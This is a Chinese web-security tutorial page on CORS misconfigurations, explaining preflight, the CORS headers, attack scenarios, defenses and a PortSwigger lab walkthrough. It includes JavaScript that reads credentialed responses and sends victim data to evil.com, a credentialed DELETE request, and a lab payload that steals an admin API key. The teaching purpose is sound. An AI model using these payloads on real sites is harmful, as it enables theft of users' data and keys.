Web安全
基础漏洞
01前端基础【HTML】
02前端基础【CSS】
03后端基础【PHP速通】
04后端基础【PHP面向对象】
05MySQL基础操作
06前后端联动【代码练习】
07SQL注入【1】
07SQL 注入【2】
08SQL注入 Labs
08SQL注入速查表
09XSS
09跨站脚本攻击【XSS】
09XSS Labs
10跨站请求伪造【CSRF】
11服务器端请求伪造【SSRF】
12XML 外部实体注入【XXE】
13代码执行漏洞
14命令执行漏洞
15文件包含漏洞
16文件上传漏洞
17反序列化漏洞
18业务逻辑漏洞
19未授权访问漏洞集合
20跨源资源共享【CORS】
21SSTI模板注入
22并发漏洞
23点击劫持【Clickjacking 】
24请求走私
25路径遍历
26访问控制
27身份验证漏洞
28WebSocket
29Web缓存中毒
30HTTP 主机头攻击
31信息泄露漏洞
32原型污染
33NoSQL注入
API 安全
01web应用程序
02HTTP协议
03API概述
04分类类型
05交换格式
06身份验证
07常见API漏洞
08crAPI靶场
09JWT
10OAuth 2.0身份验证
11GraphQL【1】
11GraphQL【2】
12DVGA靶场
13服务器端参数污染
14API文档
15API Labs
16OAuth Labs
17GraphQL API Labs
18JWT Labs
小程序
小程序抓包
数据库
MySQL
Oracle
MongoDB
Redis
PostgreSQL
SQL server
中间件
Nginx
Apache HTTP Server
IIS
Tomcat
框架
ThinkPHP
Spring
Spring Boot
Django
访问控制
-
+
首页
20跨源资源共享【CORS】
## 概述 CORS 全称 **Cross-Origin Resource Sharing(跨域资源共享)**,是浏览器为解决 “跨域请求安全问题” 而制定的一种机制。 它通过服务器返回特定的 HTTP 响应头,允许浏览器放宽 “同源策略” 限制,安全地实现不同域之间的资源访问(如前端 JavaScript 从 A 域请求 B 域的接口数据)。 然而,如果网站的 CORS 策略配置和实施不当,也可能导致跨域攻击,CORS 无法防御跨域攻击,例如跨站请求伪造 (CSRF)。 CORS 的核心是**服务器通过响应头明确允许跨域的规则**,浏览器根据这些规则判断是否允许前端脚本访问跨域资源。 ## 同源策略的限制 浏览器的**同源策略(Same-Origin Policy)** 是核心安全机制,规定:**非同源的网页脚本(如 JavaScript)不能读写对方的资源**。 - **同源定义**:两个 URL 的**协议、域名、端口**必须完全相同(如 https://example.com:443 与 https://api.example.com:443 不同源,因域名不同)。 - **限制场景**:若没有同源策略,恶意网站的 JS 可随意请求银行网站的接口(如查询余额),导致敏感数据泄露。 但实际开发中,跨域请求是常见需求(如前端域名 a.com 需要请求后端接口域名 api.b.com 的数据)。**CORS 就是为了在安全前提下,让服务器主动声明 “允许哪些域的跨域请求”**,从而绕过同源策略限制。 ## CORS 的工作原理 CORS 的核心是**服务器通过响应头明确允许跨域的规则**,浏览器根据这些规则判断是否允许前端脚本访问跨域资源。 流程可分为两种类型:**简单请求**和**预检请求**。 **1. 简单请求(无需预检,直接发送)** 满足以下所有条件的请求为 “简单请求”,浏览器直接发送请求,无需提前检查: - **请求方法**:仅限于 GET、HEAD、POST; - **请求头**:仅包含浏览器默认头或以下字段:Accept、Accept-Language、Content-Language、Content-Type(且值只能是 application/x-www-form-urlencoded、multipart/form-data、text/plain)。 **工作流程**: 1. 前端发送跨域请求(如 http://a.com 的 JS 请求 http://b.com/data),请求头自动携带 Origin: http://a.com(声明来源域); 2. 服务器收到请求后,检查 Origin 是否在允许的范围内,若允许,返回响应时携带 CORS 相关头(如 Access-Control-Allow-Origin: http://a.com); 3. 浏览器收到响应后,验证 Access-Control-Allow-Origin 是否包含请求的 Origin,若通过,则允许前端脚本访问响应数据;否则,拦截数据,报 CORS 错误。 **2. 预检请求(Preflight,先检查再发送)** 不满足 “简单请求” 条件的为 “复杂请求”(如使用 PUT/DELETE 方法、自定义请求头 X-Token、Content-Type: application/json 等),浏览器会先发送**预检请求(OPTIONS 方法)**,确认服务器允许后再发送实际请求。 **工作流程**: 1. 浏览器发送预检请求(OPTIONS 方法),携带以下关键头: - Origin: http://a.com(来源域); - Access-Control-Request-Method: PUT(告知服务器实际请求的方法); - Access-Control-Request-Headers: X-Token(告知服务器实际请求的自定义头)。 2. 服务器响应预检请求,返回允许的规则头: - Access-Control-Allow-Origin: http://a.com(允许的域); - Access-Control-Allow-Methods: PUT, GET(允许的方法); - Access-Control-Allow-Headers: X-Token(允许的自定义头); - Access-Control-Max-Age: 86400(预检结果的缓存时间,单位秒,避免重复预检)。 3. 浏览器验证预检响应:若服务器允许的规则包含实际请求的信息,则发送实际请求;否则,拦截并报 CORS 错误。 ## CORS 响应头 服务器通过以下响应头声明跨域规则,是 CORS 机制的核心: | 响应头 | 作用 | 示例 | 安全注意事项 | | -------------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | | Access-Control-Allow-Origin | 允许跨域请求的来源域(必填) | http://a.com(仅允许 [a.com](https://a.com)) *(允许所有域,不推荐) | 若请求带 credentials(如 Cookie),不可用 *,必须指定具体域。 | | Access-Control-Allow-Methods | 允许的请求方法(预检请求时返回) | GET, POST, PUT | 需包含实际请求使用的方法,避免过度开放(如禁止 DELETE 给非信任域)。 | | Access-Control-Allow-Headers | 允许的自定义请求头(预检请求时返回) | X-Token, Content-Type | 仅列出必要的头,避免开放敏感头(如 Authorization 给不可信域)。 | | Access-Control-Allow-Credentials | 是否允许跨域请求携带 credentials(如 Cookie、HTTP 认证信息) | true(允许)/false(默认) | 设为 true 时,Access-Control-Allow-Origin 必须是具体域(不能是 *)。 | | Access-Control-Expose-Headers | 允许前端 JS 访问的响应头(默认仅能访问 Cache-Control 等少数头) | X-Total-Count | 避免暴露敏感头(如 X-Server-Secret)。 | | Access-Control-Max-Age | 预检请求结果的缓存时间(单位:秒) | 86400(1 天) | 合理设置缓存时间,减少预检请求次数(但需注意规则变更时的生效延迟)。 | ## 安全风险 CORS 本身是安全机制,但**配置不当会引入风险**。 CORS(跨域资源共享)配置漏洞的本质是服务器对跨域请求的限制过于宽松或逻辑错误,导致攻击者可通过恶意网站绕过浏览器的同源策略,窃取敏感数据或执行非授权操作。 这类漏洞的危害程度与业务场景强相关,尤其在涉及用户隐私、支付信息等敏感数据的系统中风险极高。 **1. 错误配置:Access-Control-Allow-Origin: * 与 Credentials: true 共存** 错误示例: ```http Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true ``` - *表示允许**任意域名**发起跨域请求; - Credentials: true 允许跨域请求携带**用户 Cookie、SessionID 等认证信息**; 两者结合违反 CORS 规范(浏览器本应拦截此类响应),这种配置相当于 “向全网开放带用户身份的敏感数据访问权限”,是 CORS 中最严重的配置错误之一。 若服务器错误配置导致这种组合生效,则意味着:任何恶意网站(如`evil.com`)都可向目标服务器发送跨域请求;请求会自动携带用户的登录 Cookie(因`Credentials: true`允许);恶意网站的 JS 可直接读取响应中的敏感数据(如用户余额、个人信息)。 攻击流程: 1. 受害者登录目标网站(如`bank.com`),浏览器保存登录 Cookie; 2. 攻击者诱导受害者访问恶意网站(`evil.com`),该网站包含 JS 代码: ```javascript // 向目标网站的敏感接口发送跨域请求,携带受害者Cookie fetch('https://bank.com/api/user/balance', { method: 'GET', credentials: 'include' // 强制携带Cookie }).then(res => res.json()).then(data => { // 将余额数据发送到攻击者服务器 fetch('https://evil.com/log?data=' + JSON.stringify(data)); }); ``` 3. 因目标网站 CORS 配置错误,浏览器允许`evil.com`的 JS 读取响应,攻击者成功窃取受害者余额。 **2. 错误配置:动态反射请求的`Origin`头(无白名单校验)** 配置示例(错误,以 Node.js 为例): ```javascript // 危险逻辑:直接将请求的Origin作为允许的域返回 app.use((req, res) => { const origin = req.headers.origin || '*'; res.setHeader('Access-Control-Allow-Origin', origin); // 无校验,直接反射 res.setHeader('Access-Control-Allow-Credentials', 'true'); res.send(userData); // 返回敏感用户数据 }); ``` 漏洞原理: - 服务器未验证`Origin`是否可信,直接将请求头中的`Origin`(如`https://evil.com`)作为`Access-Control-Allow-Origin`的值返回; - 等效于 “允许所有域名跨域请求”,但规避了`*`的限制,可正常结合`Credentials: true`使用。 攻击流程: 1. 攻击者构造`Origin: https://evil.com`的请求,发送到目标网站(如`shop.com`的订单接口); 2. 服务器返回`Access-Control-Allow-Origin: https://evil.com`,允许`evil.com`跨域; 3. 攻击者在`evil.com`部署恶意页面,诱导受害者访问,JS 代码请求`shop.com/api/orders`(携带受害者登录 Cookie); 4. 浏览器验证`Origin`匹配,允许读取响应,攻击者获取受害者的订单详情。 **3. 错误配置:开放敏感 HTTP 方法或请求头** 配置示例(错误): ```http Access-Control-Allow-Origin: https://untrusted-domain.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE // 包含危险方法 Access-Control-Allow-Headers: Authorization, X-Token // 包含认证头 ``` 漏洞原理: - 向不可信域名开放`PUT`/`DELETE`等危险方法,允许其修改 / 删除数据; - 开放`Authorization`、`X-Token`等敏感头,攻击者可利用这些头执行授权操作。 攻击流程: 1. 目标网站(`cms.com`)允许`untrusted-domain.com`跨域,并开放`DELETE`方法; 2. 攻击者在`untrusted-domain.com`构造页面,通过 JS 发送请求: ```javascript // 删除受害者的文章(假设已知文章ID) fetch('https://cms.com/api/articles/123', { method: 'DELETE', headers: { 'X-Token': '受害者的Token' }, // 若Token可通过其他方式获取 credentials: 'include' }); ``` 3. 受害者访问该页面,JS 执行`DELETE`请求,导致其文章被删除。 ## 典型危害 | 危害类型 | 具体表现 | 影响场景 | | ------------ | ------------------------------------------------------------ | ----------------------- | | 敏感数据泄露 | 攻击者获取用户的个人信息、账户余额、订单记录、认证 Token 等。 | 电商、银行、社交平台 | | 非授权操作 | 篡改用户数据(如修改收货地址)、删除内容(如删除评论)、执行支付 / 转账。 | 支付系统、内容管理系统 | | 权限边界突破 | 利用可信域的 CORS 权限,结合 XSS 等漏洞,扩大攻击范围(如子域攻击主域)。 | 多域名 / 子域架构的系统 | | 业务逻辑绕过 | 绕过跨域限制,执行本应禁止的操作(如跨域提交表单、调用内部 API)。 | 所有涉及跨域交互的业务 | ## 防御 CORS 配置漏洞的核心措施 **1. 严格限制`Access-Control-Allow-Origin`** - **禁用`*`**:绝不为包含敏感数据的接口设置`Access-Control-Allow-Origin: *`; - **白名单机制**:仅允许明确可信的域名(如`https://app.example.com`) - **禁止动态反射**:不直接将请求的`Origin`作为响应值返回,必须通过白名单校验。 **2. 谨慎处理`Credentials`** - 仅在业务必需时启用`Access-Control-Allow-Credentials: true`; - 启用时,`Access-Control-Allow-Origin`必须是**具体可信域名**(不能是`*`); - 敏感操作(如转账)避免依赖 Cookie 认证,改用短期 Token(如 JWT),且 Token 不通过跨域请求自动携带。 **3. 限制允许的方法和请求头** - `Access-Control-Allow-Methods`仅包含业务必需的方法(如`GET`、`POST`),禁止向不可信域开放`PUT`、`DELETE`; - `Access-Control-Allow-Headers`仅列出必要的头(如`Content-Type`),不开放`Authorization`、`X-Token`等敏感头给非信任域。 **4. 正确处理预检请求(OPTIONS)** - 确保`OPTIONS`请求返回完整的 CORS 配置(与实际请求的规则一致); - 合理设置`Access-Control-Max-Age`(如 3600 秒,1 小时),避免过长缓存导致规则更新延迟。 **5. 结合其他安全机制** - 跨域请求增加**CSRF Token**验证,即使 CORS 配置宽松,也需验证 Token; - 敏感操作(如支付、删除)强制**二次验证**(如短信验证码); - 用 WAF 监控异常跨域请求(如来自陌生`Origin`的高频请求)。 ## 总结 CORS 配置漏洞的核心是 “过度信任不可控的域名”,其利用门槛低(仅需诱导用户访问恶意页面),危害却可能直达业务核心(如数据泄露、财产损失)。 防御的关键是**始终以 “最小权限” 为原则**,通过白名单严格限制跨域范围,谨慎开放敏感权限,同时结合其他安全机制形成防护闭环。 ## 实验 靶机:https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack 已知:该网站的 CORS 配置不安全,因为它信任所有来源。 任务:编写JavaScript代码,使用 CORS 检索管理员的 API 密钥,并将代码上传到你的漏洞利用服务器。成功提交管理员的 API 密钥后,本实验结束。 登录凭证:wiener:peter。 1、使用凭证登录靶机。  登录之后有自己账户的API Key。 2、在burp的请求包历史中,发现了响应api key的数据包。  3、发送到repeater模块,观察响应包。  ```txt Access-Control-Allow-Credentials: true 用于告知浏览器:服务器允许跨域请求携带 “凭证信息”(如 Cookie、HTTP 认证信息、TLS 客户端证书等)。 ``` 4、添加任意一个源再观察响应包。 ```txt Origin: https://example.com ```  5、使用官网的恶意JavaScript代码 ```javascript <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> ``` ```javascript <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','0afa0029036433c180286c94006c001d.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> ``` 6、点击靶机上方的漏洞利用服务器,将payload添加到body中,再点击查看漏洞利用。    7、返回漏洞利用服务器,点击【Deliverexploit tovictim】,向受害者提供漏洞。 
毛林
2025年9月9日 17:51
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码